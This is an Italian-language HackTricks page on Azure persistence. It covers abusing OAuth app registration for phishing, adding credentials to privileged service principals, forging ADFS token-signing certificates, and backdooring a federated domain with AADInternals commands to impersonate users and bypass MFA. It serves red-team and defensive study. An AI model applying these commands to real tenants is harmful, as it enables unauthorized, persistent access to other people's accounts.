Az - Persistence

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

OAuth Application

Per impostazione predefinita, qualsiasi utente può registrare un'applicazione in Entra ID. Quindi puoi registrare un'applicazione (solo per il tenant target) che necessita di permessi ad alto impatto con consenso dell'amministratore (approvala se sei l'amministratore) - come inviare email per conto di un utente, gestione dei ruoli, ecc. Questo ci permetterà di eseguire attacchi di phishing che sarebbero molto fruttuosi in caso di successo.

Inoltre, potresti anche accettare quell'applicazione con il tuo utente come modo per mantenere l'accesso su di essa.

Applications and Service Principals

Con i privilegi di Application Administrator, GA o un ruolo personalizzato con permessi microsoft.directory/applications/credentials/update, possiamo aggiungere credenziali (segreto o certificato) a un'applicazione esistente.

È possibile prendere di mira un'applicazione con permessi elevati o aggiungere una nuova applicazione con permessi elevati.

Un ruolo interessante da aggiungere all'applicazione sarebbe il ruolo di amministratore dell'autenticazione privilegiata poiché consente di reimpostare la password degli Amministratori Globali.

Questa tecnica consente anche di bypassare MFA.

bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • Per l'autenticazione basata su certificati
bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federation - Token Signing Certificate

Con privilegi DA su AD on-prem, è possibile creare e importare nuovi certificati di firma del token e certificati di decrittazione del token che hanno una validità molto lunga. Questo ci permetterà di accedere come qualsiasi utente il cui ImuutableID conosciamo.

Esegui il comando qui sotto come DA sui server ADFS per creare nuovi certificati (password predefinita 'AADInternals'), aggiungerli a ADFS, disabilitare il rollover automatico e riavviare il servizio:

bash
New-AADIntADFSSelfSignedCertificates

Quindi, aggiorna le informazioni sul certificato con Azure AD:

bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federazione - Dominio Fidato

Con privilegi GA su un tenant, è possibile aggiungere un nuovo dominio (deve essere verificato), configurare il suo tipo di autenticazione su Federato e configurare il dominio per fidarsi di un certificato specifico (any.sts nel comando sottostante) e dell'emittente:

bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks